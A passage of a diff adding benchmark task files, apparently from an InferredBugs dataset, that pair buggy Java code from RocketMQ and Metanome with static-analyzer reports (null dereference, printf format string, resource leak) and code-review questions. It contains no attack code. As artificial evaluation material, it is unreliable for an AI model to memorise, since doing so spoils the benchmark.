+import org.apache.rocketmq.test.util.TestUtils;
+import org.apache.rocketmq.test.util.VerifyUtils;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import static com.google.common.truth.Truth.assertThat;
+
+public class TagMessageWithSameGroupConsumerIT extends BaseConf {
+    private static Logger logger = Logger.getLogger(TagMessageWith1ConsumerIT.class);
+    private RMQNormalProducer producer = null;
+    private String topic = null;
+
+    @Before
+    public void setUp() {
+        topic = initTopic();
+        logger.info(String.format("use topic: %s !", topic));
+        producer = getProducer(nsAddr, topic);
+    }
+
+    @After
+    public void tearDown() {
+        super.shutDown();
+    }
+
+    @Test
+    public void testTwoConsumerWithSameGroup() {
+        String tag = "jueyin";
+        int msgSize = 20;
+        String originMsgDCName = RandomUtils.getStringByUUID();
+        String msgBodyDCName = RandomUtils.getStringByUUID();
+        RMQNormalConsumer consumer1 = getConsumer(nsAddr, topic, tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+        RMQNormalConsumer consumer2 = getConsumer(nsAddr, consumer1.getConsumerGroup(), tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+        producer.send(tag, msgSize);
+        Assert.assertEquals("Not all are sent", msgSize, producer.getAllUndupMsgBody().size());
+        consumer1.getListner().waitForMessageConsume(producer.getAllMsgBody(), consumeTime);
+
+        assertThat(VerifyUtils.getFilterdMessage(producer.getAllMsgBody(),
+            consumer1.getListner().getAllMsgBody()))
+            .containsExactlyElementsIn(producer.getAllMsgBody());
+    }
+
+    @Test
+    public void testConsumerStartWithInterval() {
+        String tag = "jueyin";
+        int msgSize = 100;
+        String originMsgDCName = RandomUtils.getStringByUUID();
+        String msgBodyDCName = RandomUtils.getStringByUUID();
+
+        RMQNormalConsumer consumer1 = getConsumer(nsAddr, topic, tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+        producer.send(tag, msgSize, 100);
+        TestUtils.waitForMoment(5);
+        RMQNormalConsumer consumer2 = getConsumer(nsAddr, consumer1.getConsumerGroup(), tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+        TestUtils.waitForMoment(5);
+
+        consumer1.getListner().waitForMessageConsume(producer.getAllMsgBody(), consumeTime);
+        assertThat(VerifyUtils.getFilterdMessage(producer.getAllMsgBody(),
+            consumer1.getListner().getAllMsgBody()))
+            .containsExactlyElementsIn(producer.getAllMsgBody());
+    }
+
+    @Test
+    public void testConsumerStartTwoAndCrashOnsAfterWhile() {
+        String tag = "jueyin";
+        int msgSize = 100;
+        String originMsgDCName = RandomUtils.getStringByUUID();
+        String msgBodyDCName = RandomUtils.getStringByUUID();
+
+        RMQNormalConsumer consumer1 = getConsumer(nsAddr, topic, tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+        RMQNormalConsumer consumer2 = getConsumer(nsAddr, consumer1.getConsumerGroup(), tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+
+        producer.send(tag, msgSize, 100);
+        TestUtils.waitForMoment(5);
+        consumer2.shutdown();
+        mqClients.remove(1);
+        TestUtils.waitForMoment(5);
+
+        consumer1.getListner().waitForMessageConsume(producer.getAllMsgBody(), consumeTime);
+        assertThat(VerifyUtils.getFilterdMessage(producer.getAllMsgBody(),
+            consumer1.getListner().getAllMsgBody()))
+            .containsExactlyElementsIn(producer.getAllMsgBody());
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `consumer1.getListner()` could be null and is dereferenced at line 86.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TagMessageWithSameGroupConsumerIT.testConsumerStartWithInterval()
+
+### Procedure Id:
+org.apache.rocketmq.test.client.consumer.tag.TagMessageWithSameGroupConsumerIT.testConsumerStartWith.7ef86dad2f810c16b6f3da91c8c2ae04
+
+### File:
+test/src/test/java/org/apache/rocketmq/test/client/consumer/tag/TagMessageWithSameGroupConsumerIT.java
+
+### Key:
+TagMessageWithSameGroupConsumerIT.java|testConsumerStartWithInterval|NULL_DEREFERENCE
+
+### Node Key:
+9223baa361ae485bac57f6892ab2bf6b
+
+### Hash:
+aa442d97306d3c9bd139808fbcff17c6
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10826/instruction.md b/inferredbugs-10826/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6dac48a0130e02edd1346dd504a5954da881f3f4
--- /dev/null
+++ b/inferredbugs-10826/instruction.md
@@ -0,0 +1,243 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rocketmq
+**Bug ID:** 22
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.rocketmq.tools.command.message;
+
+import java.io.UnsupportedEncodingException;
+import java.util.List;
+import java.util.Set;
+import org.apache.commons.cli.CommandLine;
+import org.apache.commons.cli.Option;
+import org.apache.commons.cli.Options;
+import org.apache.rocketmq.client.consumer.DefaultMQPullConsumer;
+import org.apache.rocketmq.client.consumer.PullResult;
+import org.apache.rocketmq.common.MixAll;
+import org.apache.rocketmq.common.UtilAll;
+import org.apache.rocketmq.common.message.MessageExt;
+import org.apache.rocketmq.common.message.MessageQueue;
+import org.apache.rocketmq.remoting.RPCHook;
+import org.apache.rocketmq.tools.command.SubCommand;
+import org.apache.rocketmq.tools.command.SubCommandException;
+
+public class PrintMessageSubCommand implements SubCommand {
+
+    public static long timestampFormat(final String value) {
+        long timestamp = 0;
+        try {
+            timestamp = Long.parseLong(value);
+        } catch (NumberFormatException e) {
+            timestamp = UtilAll.parseDate(value, UtilAll.YYYY_MM_DD_HH_MM_SS_SSS).getTime();
+        }
+
+        return timestamp;
+    }
+
+    public static void printMessage(final List<MessageExt> msgs, final String charsetName, boolean printBody) {
+        for (MessageExt msg : msgs) {
+            try {
+                System.out.printf("MSGID: %s %s BODY: %s%n", msg.getMsgId(), msg.toString(),
+                    printBody ? new String(msg.getBody(), charsetName) : "NOT PRINT BODY");
+            } catch (UnsupportedEncodingException e) {
+            }
+        }
+    }
+
+    @Override
+    public String commandName() {
+        return "printMsg";
+    }
+
+    @Override
+    public String commandDesc() {
+        return "Print Message Detail";
+    }
+
+    @Override
+    public Options buildCommandlineOptions(Options options) {
+        Option opt = new Option("t", "topic", true, "topic name");
+        opt.setRequired(true);
+        options.addOption(opt);
+
+        opt = new Option("c", "charsetName ", true, "CharsetName(eg: UTF-8,GBK)");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("s", "subExpression ", true, "Subscribe Expression(eg: TagA || TagB)");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt =
+            new Option("b", "beginTimestamp ", true,
+                "Begin timestamp[currentTimeMillis|yyyy-MM-dd#HH:mm:ss:SSS]");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt =
+            new Option("e", "endTimestamp ", true,
+                "End timestamp[currentTimeMillis|yyyy-MM-dd#HH:mm:ss:SSS]");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt =
+            new Option("d", "printBody ", true,
+                "print body");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        return options;
+    }
+
+    @Override
+    public void execute(CommandLine commandLine, Options options, RPCHook rpcHook) throws SubCommandException {
+        DefaultMQPullConsumer consumer = new DefaultMQPullConsumer(MixAll.TOOLS_CONSUMER_GROUP, rpcHook);
+
+        try {
+            String topic = commandLine.getOptionValue('t').trim();
+
+            String charsetName =
+                !commandLine.hasOption('c') ? "UTF-8" : commandLine.getOptionValue('c').trim();
+
+            String subExpression =
+                !commandLine.hasOption('s') ? "*" : commandLine.getOptionValue('s').trim();
+
+            boolean printBody = !commandLine.hasOption('d') || Boolean.parseBoolean(commandLine.getOptionValue('d').trim());
+
+            consumer.start();
+
+            Set<MessageQueue> mqs = consumer.fetchSubscribeMessageQueues(topic);
+            for (MessageQueue mq : mqs) {
+                long minOffset = consumer.minOffset(mq);
+                long maxOffset = consumer.maxOffset(mq);
+
+                if (commandLine.hasOption('b')) {
+                    String timestampStr = commandLine.getOptionValue('b').trim();
+                    long timeValue = timestampFormat(timestampStr);
+                    minOffset = consumer.searchOffset(mq, timeValue);
+                }
+
+                if (commandLine.hasOption('e')) {
+                    String timestampStr = commandLine.getOptionValue('e').trim();
+                    long timeValue = timestampFormat(timestampStr);
+                    maxOffset = consumer.searchOffset(mq, timeValue);
+                }
+
+                System.out.printf("minOffset=%s, maxOffset=%s, %s", minOffset, maxOffset, mq);
+
+                READQ:
+                for (long offset = minOffset; offset < maxOffset; ) {
+                    try {
+                        PullResult pullResult = consumer.pull(mq, subExpression, offset, 32);
+                        offset = pullResult.getNextBeginOffset();
+                        switch (pullResult.getPullStatus()) {
+                            case FOUND:
+                                printMessage(pullResult.getMsgFoundList(), charsetName, printBody);
+                                break;
+                            case NO_MATCHED_MSG:
+                                System.out.printf(mq + " no matched msg. status=%s, offset=%s", pullResult.getPullStatus(), offset);
+                                break;
+                            case NO_NEW_MSG:
+                            case OFFSET_ILLEGAL:
+                                System.out.printf(mq + " print msg finished. status=%s, offset=%s", pullResult.getPullStatus(), offset);
+                                break READQ;
+                        }
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                        break;
+                    }
+                }
+            }
+
+        } catch (Exception e) {
+            throw new SubCommandException(this.getClass().getSimpleName() + " command failed", e);
+        } finally {
+            consumer.shutdown();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+Format string must be string literal.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PrintMessageSubCommand.execute(CommandLine,Options,RPCHook)
+
+### Procedure Id:
+org.apache.rocketmq.tools.command.message.PrintMessageSubCommand.execute(org.apache.commons.cli.Comm.46b59df3ab1fbcb09a34079cb47e0b5c
+
+### File:
+tools/src/main/java/org/apache/rocketmq/tools/command/message/PrintMessageSubCommand.java
+
+### Key:
+PrintMessageSubCommand.java|execute|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+fcb7ac1159329462bae0cac0972cb3c6
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10828/instruction.md b/inferredbugs-10828/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1b25ad87a4f474ca08f023c498bdc1a041b86c1d
--- /dev/null
+++ b/inferredbugs-10828/instruction.md
@@ -0,0 +1,210 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Metanome
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2014 by the Metanome project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package de.metanome.backend.resources;
+
+
+import de.metanome.algorithm_integration.AlgorithmExecutionException;
+import de.metanome.algorithm_integration.algorithm_execution.FileGenerator;
+import de.metanome.algorithm_integration.results.Result;
+import de.metanome.backend.algorithm_execution.AlgorithmExecutor;
+import de.metanome.backend.algorithm_execution.ProgressCache;
+import de.metanome.backend.algorithm_execution.TempFileGenerator;
+import de.metanome.backend.algorithm_loading.AlgorithmLoadingException;
+import de.metanome.backend.result_receiver.ResultPrinter;
+import de.metanome.backend.result_receiver.ResultsCache;
+import de.metanome.backend.result_receiver.ResultsHub;
+import de.metanome.backend.results_db.Algorithm;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.util.List;
+
+import javax.ws.rs.Consumes;
+import javax.ws.rs.GET;
+import javax.ws.rs.POST;
+import javax.ws.rs.Path;
+import javax.ws.rs.PathParam;
+import javax.ws.rs.Produces;
+import javax.ws.rs.core.Response;
+
+@Path("algorithm_execution")
+public class AlgorithmExecutionResource {
+
+  /**
+   * Executes an algorithm.
+   * @param params all parameters to execute the algorithm
+   * @return the execution time
+   */
+  @POST
+  @Consumes("application/json")
+  @Produces("application/json")
+  public long executeAlgorithm(AlgorithmExecutionParams params) {
+    AlgorithmExecutor executor;
+
+    try {
+      executor = buildExecutor(params.executionIdentifier);
+    } catch (FileNotFoundException e) {
+      throw new WebException("Could not generate result file", Response.Status.BAD_REQUEST);
+    } catch (UnsupportedEncodingException e) {
+      throw new WebException("Could not build temporary file generator", Response.Status.BAD_REQUEST);
+    }
+
+    AlgorithmResource algorithmResource = new AlgorithmResource();
+    Algorithm algorithm = algorithmResource.get(params.algorithmId);
+
+    long executionTime = 0;
+    try {
+      executionTime = executor.executeAlgorithm(algorithm, params.requirements);
+    } catch (AlgorithmLoadingException | AlgorithmExecutionException e) {
+      throw new WebException(e, Response.Status.BAD_REQUEST);
+    }
+
+    try {
+      executor.close();
+    } catch (IOException e) {
+      throw new WebException("Could not close algorithm executor", Response.Status.BAD_REQUEST);
+    }
+
+    return executionTime;
+  }
+
+  @GET
+  @Path("/fetch_results/{identifier}")
+  @Produces("application/json")
+  public List<Result> fetchNewResults(@PathParam("identifier") String executionIdentifier) {
+    try {
+      return AlgorithmExecutionCache.getResultsCache(executionIdentifier).getNewResults();
+    } catch (Exception e) {
+      throw new WebException("Could not find any results to the given identifier",
+                             Response.Status.BAD_REQUEST);
+    }
+  }
+
+  @GET
+  @Path("/fetch_progress/{identifier}")
+  @Produces("application/json")
+  public float fetchProgress(@PathParam("identifier") String executionIdentifier) {
+    try {
+      return AlgorithmExecutionCache.getProgressCache(executionIdentifier).getProgress();
+    } catch (Exception e) {
+      throw new WebException("Could not find any progress to the given identifier",
+                             Response.Status.BAD_REQUEST);
+    }
+  }
+
+  /**
+   * Builds an {@link de.metanome.backend.algorithm_execution.AlgorithmExecutor} with stacked {@link de.metanome.algorithm_integration.result_receiver.OmniscientResultReceiver}s to write
+   * result files and cache results for the frontend.
+   *
+   * @param executionIdentifier the identifier associated with this execution
+   * @return an {@link de.metanome.backend.algorithm_execution.AlgorithmExecutor}
+   * @throws java.io.FileNotFoundException        when the result files cannot be opened
+   * @throws java.io.UnsupportedEncodingException when the temp files cannot be opened
+   */
+  protected AlgorithmExecutor buildExecutor(String executionIdentifier)
+      throws FileNotFoundException, UnsupportedEncodingException {
+    ResultPrinter resultPrinter = new ResultPrinter(executionIdentifier, "results");
+    ResultsCache resultsCache = new ResultsCache();
+    ResultsHub resultsHub = new ResultsHub();
+    resultsHub.addSubscriber(resultPrinter);
+    resultsHub.addSubscriber(resultsCache);
+
+    FileGenerator fileGenerator = new TempFileGenerator();
+    ProgressCache progressCache = new ProgressCache();
+
+    AlgorithmExecutor executor = new AlgorithmExecutor(resultsHub, progressCache, fileGenerator);
+    AlgorithmExecutionCache.add(executionIdentifier, resultsCache, progressCache);
+
+    return executor;
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `de.metanome.backend.result_receiver.ResultPrinter` acquired to `resultPrinter` by call to `new()` at line 121 is not released after line 124.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+AlgorithmExecutor AlgorithmExecutionResource.buildExecutor(String)
+
+### Procedure Id:
+de.metanome.backend.resources.AlgorithmExecutionResource.buildExecutor(java.lang.String):de.metanome.c4ed5e1d31dd55c511ee1b596e541d34
+
+### File:
+backend/src/main/java/de/metanome/backend/resources/AlgorithmExecutionResource.java
+
+### Key:
+AlgorithmExecutionResource.java|buildExecutor|RESOURCE_LEAK
+
+### Node Key:
+363a0b50313bb260aa865abc355858ee
+
+### Hash:
+14e836e7071d736fee1a50c49de3c85c
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10829/instruction.md b/inferredbugs-10829/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2b08b1bb49e5edab8f52fd8ed702f46a4910f6f2
--- /dev/null
+++ b/inferredbugs-10829/instruction.md
@@ -0,0 +1,271 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Metanome
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2014 by the Metanome project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package de.metanome.frontend.server;
+
+import de.metanome.algorithm_integration.algorithm_types.FunctionalDependencyAlgorithm;
+import de.metanome.algorithm_integration.algorithm_types.InclusionDependencyAlgorithm;
+import de.metanome.backend.results_db.Algorithm;
+import de.metanome.backend.results_db.EntityStorageException;
+import de.metanome.backend.results_db.HibernateUtil;
+
+import org.hamcrest.collection.IsIterableContainingInAnyOrder;
+import org.junit.Test;
+
+import java.util.List;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Tests for {@link de.metanome.frontend.server.AlgorithmServiceImpl}
+ *
+ * @author Jakob Zwiener
+ */
+public class AlgorithmServiceImplTest {
+
+  /**
+   * Test method for {@link de.metanome.frontend.server.AlgorithmServiceImpl#listAvailableAlgorithmFiles()}
+   */
+  @Test
+  public void testListAvailableAlgorithmFiles() {
+    // Setup
+    AlgorithmServiceImpl service = new AlgorithmServiceImpl();
+
+    // Expected values
+    // Execute functionality
+    String[] algos = service.listAvailableAlgorithmFiles();
+
+    // Check result
+    assertTrue(algos.length > 0);
+  }
+
+  /**
+   * Test method for {@link AlgorithmServiceImpl#deleteAlgorithm(de.metanome.backend.results_db.Algorithm)}
+   */
+  @Test
+  public void testDeleteAlgorithm() throws EntityStorageException {
+    // Setup
+    HibernateUtil.clear();
+
+    AlgorithmServiceImpl service = new AlgorithmServiceImpl();
+
+    String fileName = "someFileName.jar";
+
+    Algorithm expectedAlgorithm = new Algorithm(fileName);
+    expectedAlgorithm.setInd(true);
+    expectedAlgorithm.store();
+
+    // Check precondition
+    Algorithm actualAlgorithm = Algorithm.retrieve(fileName);
+    assertEquals(expectedAlgorithm, actualAlgorithm);
+
+    // Execute functionality
+    service.deleteAlgorithm(expectedAlgorithm);
+
+    // Check result
+    assertNull(Algorithm.retrieve(fileName));
+
+    // Cleanup
+    HibernateUtil.clear();
+  }
+
+  /**
+   * Test method for {@link de.metanome.frontend.server.AlgorithmServiceImpl#listAlgorithms(Class)}
+   * <p/> When no interface is specified all stored algorithms should be retrieved by the service.
+   */
+  @Test
+  public void testListAlgorithms() throws EntityStorageException {
+    // Setup
+    HibernateUtil.clear();
+
+    AlgorithmServiceImpl finderService = new AlgorithmServiceImpl();
+
+    // Expected values
+    Algorithm[] expectedAlgorithms =
+        {new Algorithm("some file name 1"), new Algorithm("some file name 2"),
+         new Algorithm("some file name 3")};
+    for (Algorithm algorithm : expectedAlgorithms) {
+      algorithm.store();
+    }
+
+    // Execute functionality
+    // Finds algorithms of all or no interfaces
+    List<Algorithm> actualAlgorithms = finderService.listAlgorithms(null);
+
+    // Check result
+    assertThat(actualAlgorithms,
+               IsIterableContainingInAnyOrder.containsInAnyOrder(expectedAlgorithms));
+
+    // Cleanup
+    HibernateUtil.clear();
+  }
+
+  /**
+   * Test method for {@link de.metanome.frontend.server.AlgorithmServiceImpl#listAlgorithms(Class)}
+   * <p/> When no interface is specified all stored algorithms should be retrieved by the service.
+   */
+  @Test
+  public void testAddAlgorithm() throws EntityStorageException {
+    // Setup
+    HibernateUtil.clear();
+
+    AlgorithmServiceImpl finderService = new AlgorithmServiceImpl();
+
+    // Execute functionality: add an IND algorithm
+    Algorithm algorithm = new Algorithm("someFileName.jar");
+    algorithm.setInd(true);
+    finderService.addAlgorithm(algorithm);
+
+    // Check result
+    assertTrue(finderService.listAllAlgorithms().contains(algorithm));
+    assertTrue(
+        finderService.listAlgorithms(InclusionDependencyAlgorithm.class).contains(algorithm));
+    assertFalse(finderService.listAlgorithms(FunctionalDependencyAlgorithm.class).contains(
+        algorithm));
+
+    // Cleanup
+    HibernateUtil.clear();
+  }
+
+  /**
+   * Test method for {@link AlgorithmServiceImpl#listUniqueColumnCombinationsAlgorithms()}, {@link
+   * AlgorithmServiceImpl#listInclusionDependencyAlgorithms()}, {@link
+   * AlgorithmServiceImpl#listFunctionalDependencyAlgorithms()} and {@link
+   * AlgorithmServiceImpl#listBasicStatisticsAlgorithms()} <p/> Stored algorithms that implement
+   * certain interfaces should be retrievable by the service.
+   */
+  @Test
+  public void testListAlgorithmFileNamesInterface() throws EntityStorageException {
+    // Setup
+    HibernateUtil.clear();
+
+    AlgorithmServiceImpl finderService = new AlgorithmServiceImpl();
+
+    // Expected values
+    Algorithm expectedIndAlgorithm = new Algorithm("ind algorithm").setInd(true).store();
+
+    Algorithm expectedUccAlgorithm = new Algorithm("ucc algorithm").setUcc(true).store();
+
+    Algorithm expectedFdAlgorithm = new Algorithm("fd algorithm").setFd(true).store();
+
+    Algorithm expectedBasicStatAlgorithm =
+        new Algorithm("basic stat algorithm").setBasicStat(true).store();
+
+    Algorithm otherAlgorithm = new Algorithm("other algorithm").store();
+
+    // Execute functionality
+    List<Algorithm> actualIndAlgorithms = finderService.listInclusionDependencyAlgorithms();
+    List<Algorithm> actualUccAlgorithms = finderService.listUniqueColumnCombinationsAlgorithms();
+    List<Algorithm> actualFdAlgorithms = finderService.listFunctionalDependencyAlgorithms();
+    List<Algorithm> actualBasicStatAlgorithms = finderService.listBasicStatisticsAlgorithms();
+    List<Algorithm> actualAllAlgorithms = finderService.listAllAlgorithms();
+
+    // Check result
+    assertThat(actualIndAlgorithms,
+               IsIterableContainingInAnyOrder.containsInAnyOrder(expectedIndAlgorithm));
+    assertThat(actualUccAlgorithms,
+               IsIterableContainingInAnyOrder.containsInAnyOrder(expectedUccAlgorithm));
+    assertThat(actualFdAlgorithms,
+               IsIterableContainingInAnyOrder.containsInAnyOrder(expectedFdAlgorithm));
+    assertThat(actualBasicStatAlgorithms,
+               IsIterableContainingInAnyOrder.containsInAnyOrder(expectedBasicStatAlgorithm));
+    assertThat(actualAllAlgorithms, IsIterableContainingInAnyOrder.containsInAnyOrder(
+        expectedIndAlgorithm, expectedUccAlgorithm, expectedFdAlgorithm,
+        expectedBasicStatAlgorithm, otherAlgorithm));
+
+    // Cleanup
+    HibernateUtil.clear();
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `finderService.listAlgorithms(de.metanome.algorithm_integration.algorithm_types.InclusionDependencyAlgorithm)` could be null and is dereferenced at line 139.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AlgorithmServiceImplTest.testAddAlgorithm()
+
+### Procedure Id:
+de.metanome.frontend.server.AlgorithmServiceImplTest.testAddAlgorithm():void.ecb6e0b42c642a22bd939db0fed93c8e
+
+### File:
+frontend/src/test/java/de/metanome/frontend/server/AlgorithmServiceImplTest.java
+
+### Key:
+AlgorithmServiceImplTest.java|testAddAlgorithm|NULL_DEREFERENCE
+
+### Node Key:
+ce53c923f4dea93d3ab7dc2c8344c2b9
+
+### Hash:
+2c97642fd8a213317ae5ab86bb6a738b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10842/instruction.md b/inferredbugs-10842/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a56c3532de1b053ef88c72143d15ce2fe9426d92
--- /dev/null
+++ b/inferredbugs-10842/instruction.md
@@ -0,0 +1,207 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Metanome
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2014 by the Metanome project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package de.uni_potsdam.hpi.metanome.frontend.client.configuration;
+
+import com.google.gwt.junit.client.GWTTestCase;
+
+import de.uni_potsdam.hpi.metanome.frontend.client.BasePage;
+import de.uni_potsdam.hpi.metanome.frontend.client.TabWrapper;
+import de.uni_potsdam.hpi.metanome.frontend.client.TestHelper;
+import de.uni_potsdam.hpi.metanome.frontend.client.helpers.InputValidationException;
+import de.uni_potsdam.hpi.metanome.results_db.DatabaseConnection;
+import de.uni_potsdam.hpi.metanome.results_db.EntityStorageException;
+import de.uni_potsdam.hpi.metanome.results_db.FileInput;
+import de.uni_potsdam.hpi.metanome.results_db.TableInput;
+
+import org.junit.Test;
+
+
+public class GwtTestInputConfigurationPage  extends GWTTestCase {
+
+  @Test
+  public void testStoreTableInput() throws EntityStorageException, InputValidationException {
+    // Setup
+    TestHelper.resetDatabaseSync();
+
+    BasePage parent = new BasePage();
+    InputConfigurationPage page = new InputConfigurationPage(parent);
+    page.setErrorReceiver(new TabWrapper());
+
+    DatabaseConnection dbConnection = new DatabaseConnection();
+    dbConnection.setId(1);
+    dbConnection.setUrl("url");
+    dbConnection.setPassword("password");
+    dbConnection.setUsername("db");
+    TestHelper.storeDatabaseConnectionSync(dbConnection);
+
+    page.tableInputField.setValues("1: url", "table");
+    page.tableInputFieldSelected = true;
+    page.dbFieldSelected = false;
+    page.fileInputFieldSelected = false;
+    page.content.clear();
+    page.content.add(page.tableInputField);
+
+    // Execute
+    page.saveObject();
+
+    // Expected values
+    TableInput expectedInput = page.tableInputField.getValue();
+
+    // Check result
+    assertTrue(TestHelper.getAllTableInputs().contains(expectedInput));
+
